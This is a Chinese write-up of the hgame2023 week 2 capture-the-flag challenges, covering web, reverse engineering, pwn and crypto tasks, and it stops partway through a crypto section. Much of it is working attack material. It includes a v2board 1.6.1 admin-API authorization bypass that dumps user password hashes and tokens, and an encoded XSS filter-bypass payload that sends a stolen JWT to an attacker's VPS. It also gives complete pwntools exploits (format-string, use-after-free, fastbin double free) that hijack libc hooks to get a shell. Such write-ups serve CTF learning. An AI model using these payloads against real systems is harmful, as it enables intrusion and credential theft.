hgame2023 week2 writeup

WEEK2

文章目录

  • WEEK2
    • web
      • 1、Git Leakage
      • 2、v2board
      • 3、Designer
    • RE
      • 1、before_main
      • 2、stream
      • 3、VidarCamera
      • 4、math
    • pwn
      • 1、YukkuriSay
      • 2、editable_note
      • 3、fast_note
      • 4、new_fast_note
    • Crypto
      • 1、零元购年货商店
      • 2、包里有什么
      • 3、Rabin
      • 3、RSA 大冒险1
    • misc
      • 1、Tetris Master
      • 2、Sign In Pro Max
      • 3、Tetris Master Revenge
    • Blockchain
      • 1、Transfer
    • Iot
      • 1、Pirated router

web

1、Git Leakage

电视剧里的黑客?真正的黑客!

1、python GitHacker.py http://week-2.hgame.lwsec.cn:32444/.git/

2、git reflog查看历史版本

wz@u2204:~/ctf/tools/GitHacker/week-2_hgame_lwsec_cn:32444_$ git reflog
1dd69e2 (HEAD -> master) HEAD@{0}: reset: moving to HEAD~
1ff5189 HEAD@{1}: commit: update: delete flag file
1dd69e2 (HEAD -> master) HEAD@{2}: commit: update: add flag file

3、回滚到1dd69e2:

git reset --hard 1dd69e2

4、cat Th1s_1s-flag

wz@u2204:~/ctf/tools/GitHacker/week-2_hgame_lwsec_cn:32444_$ cat Th1s_1s-flag
hgame{Don't^put*Git-in_web_directory}

2、v2board

请尝试获取Admin用户的订阅链接,flag格式为hgame{admin用户订阅链接中的token值}。

1、v2board版本号1.6.1 存在管理接口越权漏洞

2、注册用户登录后,burp重发报文:

GET /api/v1/admin/user/fetch HTTP/1.1
Host: week-2.hgame.lwsec.cn:31635
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:108.0) Gecko/20100101 Firefox/108.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://week-2.hgame.lwsec.cn:31635/
authorization: d3p6YXNwQDExMS5jb206JDJ5JDEwJDY3aW9oM0lCTXlEOU0wZW95OC5UTHVNVmJXdkE4Zm0xeDd6WXJSdnRpcWJxRmFwek5JZVlH
Content-Language: zh-CN
Connection: close
Cookie: _ga_P1E9Z5LRRK=GS1.1.1673834907.1.1.1673835133.0.0.0; _ga=GA1.1.1102886254.1673834908



返回用户列表, 得到admin的用户和password:

HTTP/1.1 200 OK
Date: Mon, 16 Jan 2023 02:52:42 GMT
Server: Apache/2.4.54 (Debian)
X-Powered-By: PHP/7.4.33
Cache-Control: no-cache, private
Access-Control-Allow-Origin: http://week-2.hgame.lwsec.cn:31635
Access-Control-Allow-Methods: GET,POST,OPTIONS,HEAD
Access-Control-Allow-Headers: Origin,Content-Type,Accept,Authorization,X-Request-With
Access-Control-Allow-Credentials: true
Access-Control-Max-Age: 10080
Connection: close
Content-Type: application/json
Content-Length: 1615


{

    "data":[
        {
            "id":6,
            "invite_user_id":null,
            "telegram_id":null,
            "email":"[email protected]",
            "password":"$2y$10$67ioh3IBMyD9M0eoy8.TLuMVbWvA8fm1x7zYrRvtiqbqFapzNIeYG",
            "password_algo":null,
            "password_salt":null,
            "balance":0,
            "discount":null,
            "commission_type":0,
            "commission_rate":null,
            "commission_balance":0,
            "t":0,
            "u":0,
            "d":0,
            "transfer_enable":0,
            "banned":0,
            "is_admin":0,
            "is_staff":0,
            "last_login_at":1673835055,
            "last_login_ip":null,
            "uuid":"26025a64-e9f5-45ae-8450-2297429a4092",
            "group_id":null,
            "plan_id":null,
            "remind_expire":1,
            "remind_traffic":1,
            "token":"708d4826cf1df370ce8f453299ede4b8",
            "remarks":null,
            "expired_at":0,
            "created_at":1673835055,
            "updated_at":1673835055,
            "total_used":0,
            "subscribe_url":"http:\/\/week-2.hgame.lwsec.cn:31635\/api\/v1\/client\/subscribe?token=708d4826cf1df370ce8f453299ede4b8"
        },
        {
            "id":1,
            "invite_user_id":null,
            "telegram_id":null,
            "email":"[email protected]",
            "password":"$2y$10$JLs3LJrKqsTly8K.w9KzI.e0Jt\/7oU9W3gQYcUDSRjg1LReimLLTS",
            "password_algo":null,
            "password_salt":null,
            "balance":0,
            "discount":null,
            "commission_type":0,
            "commission_rate":null,
            "commission_balance":0,
            "t":0,
            "u":0,
            "d":0,
            "transfer_enable":0,
            "banned":0,
            "is_admin":1,
            "is_staff":0,
            "last_login_at":null,
            "last_login_ip":null,
            "uuid":"85a1c66e-d736-42b2-a0da-69f6fb066e90",
            "group_id":1,
            "plan_id":1,
            "remind_expire":1,
            "remind_traffic":1,
            "token":"39d580e71705f6abac9a414def74c466",
            "remarks":null,
            "expired_at":0,
            "created_at":1673263308,
            "updated_at":1673267067,
            "total_used":0,
            "plan_name":"Vidar-Team Plane\ud83d\udee9",
            "subscribe_url":"http:\/\/week-2.hgame.lwsec.cn:31635\/api\/v1\/client\/subscribe?token=39d580e71705f6abac9a414def74c466"
        }
    ],
    "total":2

}

3、上一个返回报文中包含了token就是密码。。
4、也可以伪造authorization,GET /api/v1/user/getSubscribe 回去订阅

[email protected]:$2y$10$JLs3LJrKqsTly8K.w9KzI.e0Jt/7oU9W3gQYcUDSRjg1LReimLLTS
base64:
YWRtaW5AZXhhbXBsZS5jb206JDJ5JDEwJEpMczNMSnJLcXNUbHk4Sy53OUt6SS5lMEp0LzdvVTlXM2dRWWNVRFNSamcxTFJlaW1MTFRT

3、Designer

Come and design your button

1、register注册时,需要用户是admin 并且是本地登录,成功的话,会把flag放到jwt里。尝试修改X-Forwarded-For等header无效。

app.post("/user/register", (req, res) => {
  const username = req.body.username
  let flag = "hgame{fake_flag_here}"
  if (username == "admin" && req.ip == "127.0.0.1" || req.ip == "::ffff:127.0.0.1") {
    flag = "hgame{true_flag_here}"
  }
  const token = jwt.sign({ username, flag }, secret)
  res.json({ token })
})

2、share时会调用访问本地的button/preview,并传递参数参数可控。

app.post("/button/share", auth, async (req, res) => {
  const browser = await puppeteer.launch({
    headless: true,
    executablePath: "/usr/bin/chromium",
    args: ['--no-sandbox']
  });
  const page = await browser.newPage()
  const query = querystring.encode(req.body)
  await page.goto('http://127.0.0.1:9090/button/preview?' + query)
  await page.evaluate(() => {
    return localStorage.setItem("token", "jwt_token_here")
  })
  await page.click("#button")

  res.json({ msg: "admin will see it later" })
})

3、preview后台,有黑名单过滤

app.get("/button/preview", (req, res) => {
  const blacklist = [
    /on/i, /localStorage/i, /alert/, /fetch/, /XMLHttpRequest/, /window/, /location/, /document/
  ]
  for (const key in req.query) {
    for (const item of blacklist) {
      if (item.test(key.trim()) || item.test(req.query[key].trim())) {
        req.query[key] = ""
      }
    }
  }
  res.render("preview", { data: req.query })
})

4、preview前端页面,可以闭合做xss

<div class="button-wrapper">
    <a
      class="button"
      id="button"
      style="border-radius:0px ;background-color:#000000 ;color:#000000 ;border-width:1px ;box-shadow:3px 3px #000 ;"
    >CLICK MEa>
  div>

解题思路:

1、本地访问preview并构造xss

px;">

有名单 需要绕过可以利用url编码加eval绕

px;">

再urlencode:

border-radius=px%3B%22%3E%3Cscript%3Eeval(unescape('%2561%256C%2565%2572%2574%2528%2531%2531%2529%253B'))%3B%3C%2Fscript%3E

可以实现弹窗。

2、preview利用xss访问register,post:{“username”:“admin”} 这样会产生带假的flag的jwt,然后再利用jquery post jwt到vps

$.post("/user/register",{"username":"admin"},function(result){
		document.location='http://x.x.x.x:443?c='+result
        $("span").html(result);
    });

再用第一步的绕过方式生成pre

border-radius=px%3B%22%3E%3Cscript%3Eeval(unescape('%2524%252E%2570%256F%2573%2574%2528%2522%252F%2575%2573%2565%2572%252F%2572%2565%2567%2569%2573%2574%2565%2572%2522%252C%257B%2522%2575%2573%2565%2572%256E%2561%256D%2565%2522%253A%2522%2561%2564%256D%2569%256E%2522%257D%252C%2566%2575%256E%2563%2574%2569%256F%256E%2528%2572%2565%2573%2575%256C%2574%2529%257B%2564%256F%2563%2575%256D%2565%256E%2574%252E%256C%256F%2563%2561%2574%2569%256F%256E%253D%2527%2568%2574%2574%2570%253A%252F%252F%2531%2532%2531%252E%2531%2539%2536%252E%2533%2530%252E%2531%2535%2535%253A%2534%2534%2533%253F%2563%253D%2527%252B%254A%2553%254F%254E%252E%2573%2574%2572%2569%256E%2567%2569%2566%2579%2528%2572%2565%2573%2575%256C%2574%2529%257D%2529%253B'))%3B%3C%2Fscript%3E

本地执行成功vps能接收到假的flag 的jwt
hgame2023 week2 writeup_第1张图片

3、利用share接口,在远端服务器构造访问preview,实现本地访问,从而获得真的flag的jwt,利用第二步post到vps

post数据

{"border-radius":"px;\">"}

客户端监听拿到jwt
hgame2023 week2 writeup_第2张图片

5、解base64,得到flag

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZmxhZyI6ImhnYW1le2JfYzRyZV9hYjB1dF9wcm9wM3J0MXR5X2luakVjdGlPbn0iLCJpYXQiOjE2NzQwMjcyODR9.TzKt-c9B2yF5rmdlVsG5LmN6QkrB4QpTh77zTU79VBQ

{"username":"admin","flag":"hgame{b_c4re_ab0ut_prop3rt1ty_injEctiOn}","iat":1674027284}

RE

1、before_main

换表base64

init里设置base64表的地方。

__int64 sub_1229()
{
  __int64 result; // rax

  result = ptrace(PTRACE_TRACEME, 0LL, 0LL, 0LL);
  if ( result != -1 )
  {
    strcpy(a0cxwsoemvjq4zd, "qaCpwYM2tO/RP0XeSZv8kLd6nfA7UHJ1No4gF5zr3VsBQbl9juhEGymc+WTxIiDK");
    return 0x636D79474568756ALL;
  }
  return result;
}

2、stream

兔兔假期前学习了编程,你能看出来他学的是什么语言吗

stream.exe看图片就知道是python编译的可执行程序

1、反编译出pyc

python pyinstxtractor.py stream.exe

2、继续反编译出py,使用uncompyle6报错,使用pycdas逆出来的不全…,使用网页逆出来的算是比较全,但还需要对照pycode调整,调整后的py

#!/usr/bin/env python
# visit https://tool.lu/pyc/ for more information
# Version: Python 3.8

import base64

def gen(key):
    s = list(range(256))
    j = 0
    for i in range(256):
        j = (j + s[i] + ord(key[i % len(key)])) % 256
        tmp = s[i]
        s[i] = s[j]
        s[j] = tmp

    i = j = 0
    data = []
    for _ in range(50):
        i = (i + 1) % 256
        j = (j + s[i]) % 256
        tmp = s[i]
        s[i] = s[j]
        s[j] = tmp
        data.append(s[(s[i] + s[j]) % 256])
    return data


def encrypt(text, key):
    result = ''
    
    kk=gen(key)
    print('gen key:',kk)
    for c, k in zip(text, kk):
        print(hex(ord(c) ^ k))
        result += chr(ord(c) ^ k)
    print(result.encode())
    result = base64.b64encode(result.encode()).decode())
    print(result)
    return result

text = input('Flag: ')
key = 'As_we_do_as_you_know'
enc = encrypt(text, key)
if enc == 'wr3ClVcSw7nCmMOcHcKgacOtMkvDjxZ6asKWw4nChMK8IsK7KMOOasOrdgbDlx3DqcKqwr0hw701Ly57w63CtcOl':
    print('yes!')
else:
	print('try again...')

3、写解密函数,要注意的是有个.encode()).decode() 因为默认使用utf-8会造成decode()后与原来数据不同。

exp:

#!/usr/bin/env python
import base64
def gen(key):
    s = list(range(256))
    j = 0
    for i in range(256):
        j = (j + s[i] + ord(key[i % len(key)])) % 256
        tmp = s[i]
        s[i] = s[j]
        s[j] = tmp

    i = j = 0
    data = []
    for _ in range(50):
        i = (i + 1) % 256
        j = (j + s[i]) % 256
        tmp = s[i]
        s[i] = s[j]
        s[j] = tmp
        data.append(s[(s[i] + s[j]) % 256])
    return data

def decrypt(enc, key):
    result = ''
    enc = base64.b64decode(enc).decode()
    print("d b64:",enc)
    kk=gen(key)
    print('gen key:',kk)
    for c, k in zip(enc, kk):
        result += chr(ord(c) ^ k)
    return result

enc='wr3ClVcSw7nCmMOcHcKgacOtMkvDjxZ6asKWw4nChMK8IsK7KMOOasOrdgbDlx3DqcKqwr0hw701Ly57w63CtcOl'
key = 'As_we_do_as_you_know'
print(decrypt(enc, key))

3、VidarCamera

兔兔最近在学习Android开发,这是他抄的相机程序

tea算法,有几个坑点:1、轮数为33。2、加密不是一组组的加密的,而是[0,1]、[1,2]…这样。

    private final int[] m0encrypthkIa6DI(int[] iArr) {
        int i;
        int[] iArr2 = UIntArray.m167constructorimpl(4);
        UIntArray.m178setVXSXFK8(iArr2, 0, 2233);
        UIntArray.m178setVXSXFK8(iArr2, 1, 4455);
        UIntArray.m178setVXSXFK8(iArr2, 2, 6677);
        UIntArray.m178setVXSXFK8(iArr2, 3, 8899);
        int i2 = 0;
        while (i2 < 9) {
            int i3 = 0;
            int i4 = 0;
            do {
                i3++;
                i = i2 + 1;
                UIntArray.m178setVXSXFK8(iArr, i2, UInt.m114constructorimpl(UIntArray.m173getpVg5ArA(iArr, i2) + UInt.m114constructorimpl(UInt.m114constructorimpl(UInt.m114constructorimpl(UIntArray.m173getpVg5ArA(iArr2, UInt.m114constructorimpl(i4 & 3)) + i4) ^ UInt.m114constructorimpl(UInt.m114constructorimpl(UInt.m114constructorimpl(UIntArray.m173getpVg5ArA(iArr, i) << 4) ^ UInt.m114constructorimpl(UIntArray.m173getpVg5ArA(iArr, i) >>> 5)) + UIntArray.m173getpVg5ArA(iArr, i))) ^ i4)));
                UIntArray.m178setVXSXFK8(iArr, i, UInt.m114constructorimpl(UIntArray.m173getpVg5ArA(iArr, i) + UInt.m114constructorimpl(UInt.m114constructorimpl(UInt.m114constructorimpl(UInt.m114constructorimpl(UIntArray.m173getpVg5ArA(iArr, i2) << 4) ^ UInt.m114constructorimpl(UIntArray.m173getpVg5ArA(iArr, i2) >>> 5)) + UIntArray.m173getpVg5ArA(iArr, i2)) ^ UInt.m114constructorimpl(UIntArray.m173getpVg5ArA(iArr2, UInt.m114constructorimpl(UInt.m114constructorimpl(i4 >>> 11) & 3)) + i4))));
                i4 = UInt.m114constructorimpl(i4 + 878077251);
            } while (i3 <= 32);
            i2 = i;
        }
        return iArr;
    }

简化一下:

private final int[] tea_enc(int[] iArr) {
	int i;
	int[] iArr2 = new UIntArray(4);
	iArr2[0]= 2233;
	iArr2[1]= 4455;
	iArr2[2]= 6677;
	iArr2[3]= 8899;
	int i2 = 0;
	while (i2 < 9) {
		int i3 = 0;
		int i4 = 0;
		do {
			i3++;
			i = i2 + 1;
			iArr[i2]= (iArr[i2] + (((iArr2[(i4 & 3)] + i4) ^ (((iArr[i] << 4) ^ (iArr[i]) >>> 5)) +iArr[i])) ^ i4)));
			iArr[i] = (iArr[i] + ((((iArr[i2] << 4) ^ (iArr[i2] >>> 5)) + iArr[i2]) ^ (iArr2[((i4 >>> 11) & 3)] + i4))));
			i4+=878077251;
			
		} while (i3 <= 32);
        i2 = i;
    }
    return iArr;
}
				

继续简化

private final int[] tea_enc(int[] v) {
	int z;
	int[] k = new UintArray(4);
	k[0]= 2233;
	k[1]= 4455;
	k[2]= 6677;
	k[3]= 8899;
	int y = 0;
	while (y < 9) {
		int n = 0;
		int sum = 0;
		do {
			n++;
			z = y + 1;
			v[y]= (v[y] + (((k[(sum & 3)] + sum) ^ (((v[z] << 4) ^ (v[z]) >>> 5)) +v[z])) ^ sum)));
			v[z] = (v[z] + ((((v[y] << 4) ^ (v[y] >>> 5)) + v[y]) ^ (k[((sum >>> 11) & 3)] + sum))));
			sum+=0x34566543;
			
		} while (n <= 32);
        y = z;
    }
    return v;
}

hgame2023 week2 writeup_第3张图片

objection 查看加密函数参数和返回结果,以及跟踪魔改tea中每轮输出:

android hooking watch class_method com.example.android.camera2.basic.CameraActivity.encrypt-hkIa6DI --dump-args --dump-backtrace --dump-return
android hooking watch class_method kotlin.UIntArray.set-VXSXFK8  --dump-args

hgame2023 week2 writeup_第4张图片

4、math

由于兔兔的学校提前放假,开学才能期末考试,于是兔兔开始了他的寒假期末复习~

ida分析代码,其中v11为加密后结果,v10为一个数组,数据固定,v12为标准密文。

hgame2023 week2 writeup_第5张图片

逻辑为:

enc[0] = (a[0] * v10[0]) + (a[1] * v10[5]) + (a[2] * v10[10]) + (a[3] * v10[15]) + (a[4] * v10[20])
enc[1] = (a[0] * v10[1]) + (a[1] * v10[6]) + (a[2] * v10[11]) + (a[3] * v10[16]) + (a[4] * v10[21])
enc[2] = (a[0] * v10[2]) + (a[1] * v10[7]) + (a[2] * v10[12]) + (a[3] * v10[17]) + (a[4] * v10[22])
enc[3] = (a[0] * v10[3]) + (a[1] * v10[8]) + (a[2] * v10[13]) + (a[3] * v10[18]) + (a[4] * v10[23])
enc[4] = (a[0] * v10[4]) + (a[1] * v10[9]) + (a[2] * v10[14]) + (a[3] * v10[19]) + (a[4] * v10[24])
enc[5] = (a[5] * v10[0]) + (a[6] * v10[5]) + (a[7] * v10[10]) + (a[8] * v10[15]) + (a[9] * v10[20])
enc[6] = (a[5] * v10[1]) + (a[6] * v10[6]) + (a[7] * v10[11]) + (a[8] * v10[16]) + (a[9] * v10[21])
enc[7] = (a[5] * v10[2]) + (a[6] * v10[7]) + (a[7] * v10[12]) + (a[8] * v10[17]) + (a[9] * v10[22])
enc[8] = (a[5] * v10[3]) + (a[6] * v10[8]) + (a[7] * v10[13]) + (a[8] * v10[18]) + (a[9] * v10[23])
enc[9] = (a[5] * v10[4]) + (a[6] * v10[9]) + (a[7] * v10[14]) + (a[8] * v10[19]) + (a[9] * v10[24])
......

z3求解即可,动态调式后分别获取v10、v12,脚本:

def mem_dump(start, len, size=1):
    data = []
    for i in range(start, start+(len*size),size): 
        if size == 1:
            data.append(get_wide_byte(i))
        elif size == 4:
            data.append(get_wide_dword(i))
        elif size == 2:
            data.append(get_wide_word(i))
        else:
            print("err")
            
    data = list(data)
    print(data)
    return data

start = 0x007FFE35874A60
len = 25
data = mem_dump(start, len, 4)    

exp:

import gmpy2,base64,time,os,hashlib
from Crypto.Util.number import long_to_bytes,bytes_to_long
from z3 import *


v12=[63998, 33111, 67762, 54789, 61979, 69619, 37190, 70162, 53110, 68678, 63339, 30687, 66494, 50936, 60810, 48784, 30188, 60104, 44599, 52265, 43048, 23660, 43850, 33646, 44270]
v10=[126, 225, 62, 40, 216, 253, 20, 124, 232, 122, 62, 23, 100, 161, 36, 118, 21, 184, 26, 142, 59, 31, 186, 82, 79]

a = [ Int(f'a[{i}]') for i in range(25)]
s = Solver()
for i in range(5):
	for j in range(5):
		enc = 0
		for k in range(5):
			enc +=  a[5*i+k] * v10[5*k+j]
		s.add(enc == v12[5*i+j])

print(s.check())
m=s.model()
print(m)
a = [0]*25

a[1] = 103
a[18] = 95
a[9] = 114
a[7] = 48
a[19] = 103
a[0] = 104
a[6] = 121
a[15] = 95
a[23] = 125
a[21] = 48
a[12] = 64
a[22] = 100
a[8] = 117
a[13] = 116
a[4] = 101
a[3] = 109
a[16] = 49
a[24] = 0
a[14] = 104
a[17] = 115
a[20] = 79
a[5] = 123
a[11] = 109
a[2] = 97
a[10] = 95
print(bytes(a))

pwn

1、YukkuriSay

循环输入数据然后打印出来,最后有个字符串格式化漏洞,但是不在栈上,又但是前面的输入是在栈上,所以任意地址写。

思路:

1、前面输入输出可以泄露_IO_2_1_stderr__地址进而获得libc

2、计算ogg地址打exit hook,

#encoding=utf-8
from pwn import *
import time
context(os='linux',arch='amd64')
#context.log_level = 'debug'
#r = remote('week-2.hgame.lwsec.cn',32189)
context.binary = '/mnt/d/ctf/ti/hgame2023/week2/pwn-YukkuriSay/vuln'
r = process(context.binary.path)
elf = context.binary
libc = elf.libc
r.sendafter(b"say?\n",b'a'*0x98)
_IO_2_1_stderr__addr = u64(r.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))

libc_base = _IO_2_1_stderr__addr - libc.sym["_IO_2_1_stderr_ython
print("libc_base:"+hex(libc_base))

ogg = libc_base+[0xe3afe, 0xe3b01, 0xe3b04][0]
print("ogg:"+hex(ogg))
r.sendlineafter(b"(Y/n)\n",b'Y')
off =8
addr = libc_base +0x222f60+8
main_addr = 0x4016C0

def fmt_ondata(data,off):
    arg0=(data)&0xff
    arg1=(data&0xff00)>>8
    arg2=(data&0xff0000)>>16
    arg3=(data&0xff000000)>>24
    arg4=(data&0xff00000000)>>32
    arg5=(data&0xff0000000000)>>40
    pay1='%'+str(arg0)+'c%'+str(off)+'$hhn'
    pay2='%'+str( (arg1-arg0+0x100)%0x100)+'c%'+str(off+1)+'$hhn'
    pay3='%'+str( (arg2-arg1+0x100)%0x100)+'c%'+str(off+2)+'$hhn'
    pay4='%'+str( (arg3-arg2+0x100)%0x100)+'c%'+str(off+3)+'$hhn'
    pay5='%'+str( (arg4-arg3+0x100)%0x100)+'c%'+str(off+4)+'$hhn'
    pay6='%'+str( (arg5-arg4+0x100)%0x100)+'c%'+str(off+5)+'$hhn'
    payload = pay1+pay2+pay3+pay4+pay5+pay6 # +'%100000c'
    return payload  
                                            
payload= p64(addr)+p64(addr+1)+p64(addr+2)+p64(addr+3)+p64(addr+4)+p64(addr+5)

r.sendline(payload)
r.sendlineafter(b"(Y/n)\n",b'n')
payload = fmt_ondata(ogg,8)
print(payload)

#gdb.attach(r,'b * 0x4016a4')
#time.sleep(2)
r.sendlineafter(b"for you: \n",payload)

r.interactive()

2、editable_note

UAF

#encoding=utf-8
from pwn import *
import time
context(os='linux',arch='amd64')
#context.log_level = 'debug'
r = remote('week-2.hgame.lwsec.cn',31588)
context.binary = '/mnt/d/ctf/ti/hgame2023/week2/pwn-editable_note/vuln'
#r = process(context.binary.path)
elf = context.binary

libc = elf.libc
call_addr = 0x8049202

def _add(idx, lenn):
    r.sendlineafter(">",'1')
    r.sendlineafter("Index: ",str(idx))
    r.sendlineafter("Size: ",str(lenn))

def _edit(idx, ddd):
    r.sendlineafter(">",'3')
    r.sendlineafter("Index: ",str(idx))
    r.sendlineafter("Content: ",ddd)

def _remove(idx):
    r.sendlineafter(">",'2')
    r.sendlineafter("Index: ",str(idx))

def _view(idx):
    r.sendlineafter(">",'4')
    r.sendlineafter("Index: ",str(idx))

for i in range(9):
    _add(i,0x80)

for i in range(7):
    _remove(i+1)

_remove(0)
_view(0)

main_arna_96 = u64(r.recv(6).ljust(8,b'\0'))
print('main_arna_96:',hex(main_arna_96))

malloc_hook_s = libc.symbols['__malloc_hook']
free_hook_s = libc.symbols['__free_hook']
system_s = libc.sym['system']

malloc_hook_addr = (main_arna_96 & 0xFFFFFFFFFFFFF000) + (malloc_hook_s & 0xFFF)  
libc_base = malloc_hook_addr - malloc_hook_s
free_hook_addr = libc_base + free_hook_s
system_addr = libc_base + system_s
print('libc_base:',hex(libc_base))
print('free_hook_addr:',hex(free_hook_addr))
print('system_addr:',hex(system_addr))

_edit(7,p64(free_hook_addr))
_add(11,0x80)
_add(12,0x80)

_edit(11,b'/bin/sh\0')
_edit(12,p64(system_addr))
_remove(11)

r.interactive()

3、fast_note

#encoding=utf-8
from pwn import *
import time
context(os='linux',arch='amd64')
#context.log_level = 'debug'
r = remote('week-2.hgame.lwsec.cn',32635)
context.binary = '/mnt/d/ctf/ti/hgame2023/week2/pwn-fast_note/vuln'
#r = process(context.binary.path)
elf = context.binary
libc = elf.libc

def _add(idx, lenn,ddd ):
    r.sendlineafter(">",'1')
    r.sendlineafter("Index: ",str(idx))
    r.sendlineafter("Size: ",str(lenn))
    r.sendafter("Content: ",ddd)
def _remove(idx):
    r.sendlineafter(">",'2')
    r.sendlineafter("Index: ",str(idx))

def _view(idx):
    r.sendlineafter(">",'3')
    r.sendlineafter("Index: ",str(idx))
    
_add(0,0x60,"11")
_add(1,0x60,"11")
_add(2,0x60,"11")
_add(3,0x80,"11")
_add(4,0x60,"11")

_remove(3)
_view(3)

main_arna_96 = u64(r.recv(6).ljust(8,b'\0'))
print('main_arna_96:',hex(main_arna_96))

malloc_hook_s = libc.symbols['__malloc_hook']
free_hook_s = libc.symbols['__free_hook']
system_s = libc.sym['system']

malloc_hook_addr = (main_arna_96 & 0xFFFFFFFFFFFFF000) + (malloc_hook_s & 0xFFF)  
libc_base = malloc_hook_addr - malloc_hook_s
free_hook_addr = libc_base + free_hook_s
system_addr = libc_base + system_s
print('libc_base:',hex(libc_base))
print('malloc_hook_addr:',hex(malloc_hook_addr))
print('free_hook_addr:',hex(free_hook_addr))
print('system_addr:',hex(system_addr))

_remove(0)
_remove(1)
_remove(0)
ogg = libc_base + [0x45226, 0x4527a,0xf03a4,0xf1247][3]

print('ogg:',hex(ogg))

realloc_addr = libc_base + libc.sym["realloc"]	
realloc_start = [0x0,0x2,0x4,0x6,0x8,0xb,0xc]	
payload=b'\x00'*3 + p64(0)+p64(ogg)+p64(realloc_addr+realloc_start[5])

_add(5,0x60,p64(malloc_hook_addr-0x23))
_add(6,0x60,b"\x00")
_add(7,0x60,'/bin/sh\0')
_add(8,0x60,payload)
r.sendlineafter(">",'1')
r.sendlineafter("Index: ",str(9))
r.sendlineafter("Size: ",str(128))

r.interactive()

4、new_fast_note

#encoding=utf-8
from pwn import *
import time
context(os='linux',arch='amd64')
#context.log_level = 'debug'
r = remote('week-2.hgame.lwsec.cn',30420)
context.binary = '/mnt/d/ctf/ti/hgame2023/week2/pwn-new_fast_note/vuln'
#r = process(context.binary.path)
elf = context.binary
libc = elf.libc

def _add(idx, lenn,ddd ):
    r.sendlineafter(">",'1')
    r.sendlineafter("Index: ",str(idx))
    r.sendlineafter("Size: ",str(lenn))
    r.sendafter("Content: ",ddd)


def _remove(idx):
    r.sendlineafter(">",'2')
    r.sendlineafter("Index: ",str(idx))

def _view(idx):
    r.sendlineafter(">",'3')
    r.sendlineafter("Index: ",str(idx))

for i in range(8):#0-7
    _add(i,0x80,str(i))

for i in range(7):#0-6
    _remove(i+1)

_remove(0)
_view(0)

main_arna_96 = u64(r.recv(6).ljust(8,b'\0'))
print('main_arna_96:',hex(main_arna_96))

malloc_hook_s = libc.symbols['__malloc_hook']
free_hook_s = libc.symbols['__free_hook']
system_s = libc.sym['system']

malloc_hook_addr = (main_arna_96 & 0xFFFFFFFFFFFFF000) + (malloc_hook_s & 0xFFF)  
libc_base = malloc_hook_addr - malloc_hook_s
free_hook_addr = libc_base + free_hook_s
system_addr = libc_base + system_s
print('libc_base:',hex(libc_base))
print('malloc_hook_addr:',hex(malloc_hook_addr))
print('free_hook_addr:',hex(free_hook_addr))
print('system_addr:',hex(system_addr))


for i in range(10):#0-7
    _add(i,0x60,str(i))

for i in range(7):#0-6
    _remove(i)

_remove(7)
_remove(8)
_remove(7)

for i in range(7):#0-6
    _add(i,0x60,str(i))

#gdb.attach(r,'b *$rebase(0x15d7)')
#time.sleep(2)
_add(0,0x60,p64(malloc_hook_addr-0x23))  #会移到tcache
_add(1,0x60,'1')
_add(2,0x60,'2')
#ogg = libc_base + [0xe6aee,0xe6af1,0xe6af4][1] #local
ogg = libc_base + [0xe3afe,0xe3b01,0xe3b04][1]
payload=b'\x00'*3 + p64(0)*3 +  p64(ogg)*2
_add(0,0x60,payload)  #会移到tcache

r.sendlineafter(">",'1')
r.sendlineafter("Index: ",str(2))
r.sendlineafter("Size: ",str(0x60))

r.interactive()

Crypto

1、零元购年货商店

听说兔兔要买年货,正好提瓦特大陆的璃月海灯节也要到了,tr0uble特地为兔兔准备了一份flag大礼。嗯,你也想要?不可以哦。

查看登录和购买接口,登录不能输入Vidar-Tu,登陆中后台用随机key和iv用aes cbc加密生成token发送到前台:

func loginController(c *gin.Context) {
	_, err := c.Cookie("token")
	if err == nil {
		c.Redirect(http.StatusFound, "/home")
	}
	userName := c.PostForm("username")
	if userName == "Vidar-Tu" {
		c.String(http.StatusForbidden, "兔兔才不可能是你呢!!")
	}
	User := user.User{Name: userName, Created: time.Now().Unix(), Uid: "230555433"}// name created uid
	jsonUser, _ := json.Marshal(User)
	fmt.Println("jsonUser",jsonUser)
	token, _ := util.Encrypt(string(jsonUser))
	c.SetCookie("token", token, 3600, "/", "", false, true)
	c.Redirect(http.StatusFound, "/home")
}

func rootController(c *gin.Context) {
	c.HTML(http.StatusOK, "index.html", nil)
}

func buyController(c *gin.Context) {
	method := c.Request.Method
	token, err := c.Cookie("token")
	if err != nil {
		c.String(http.StatusForbidden, "没有身份的人可不能来这儿买东西。")
	}
	jsonUser, err := util.Decrypt(token)
	if err != nil {
		c.String(http.StatusBadGateway, err.Error())
	}
	User := user.User{}
	err = json.Unmarshal([]byte(jsonUser), &User)
	if err != nil {
		c.String(http.StatusBadGateway, err.Error())
	}
	name := User.Name
	if method != http.MethodGet {
		c.String(http.StatusMethodNotAllowed, fmt.Sprintf("your method: %s. but only get method allowed", method))
	} else {
		product := c.Query("prod")
		if product == "flag" {
			if name != "Vidar-Tu" {
				c.String(http.StatusOK, "flag 可是特地为兔兔准备的!")
			} else {
				file, _ := os.Open("flag.txt")
				flag, _ := io.ReadAll(file)
				c.String(http.StatusOK, fmt.Sprintf("%s buy %s successfully\n%s", name, product, flag))
			}
		} else {
			c.String(http.StatusOK, fmt.Sprintf("%s buy %s successfully", name, product))
		}

	}
}

写测试代码测试发现加密后输出字节是59… go语言不太熟,感觉这个aes有点奇怪,但是搜索XORKeyStream又确实是aes,经测试明文改动1个字节时,密文也只改动特定位置

package main

import (
	"AES/user"
	"AES/util"
	"encoding/json"
	"fmt"
	"time"
)

func enc(userName string)  {
	User := user.User{Name: userName, Created: time.Now().Unix(), Uid: "230555433"}// name created uid
	jsonUser, _ := json.Marshal(User)
	//fmt.Println("jsonUser:",string(jsonUser))
	token, _ := util.Encrypt(string(jsonUser))
	fmt.Println(token)
}

func main()  {
	enc("Vidar-Ta")
	enc("Vidar-Tb")
	enc("aidar-Tu")
	enc("bidar-Td")
}
//0sWrgoTPV8/aErfE2sEql+oJRyb2EoFGYNqzh8G2lOeTTp9U2VgV6PdGIk7XFtv+Uf9KDFKw6y4YPA==
//0sWrgoTPV8/aErfE2sEql+kJRyb2EoFGYNqzh8G2lOeTTp9U2VgV6PdGIk7XFtv+Uf9KDFKw6y4YPA==
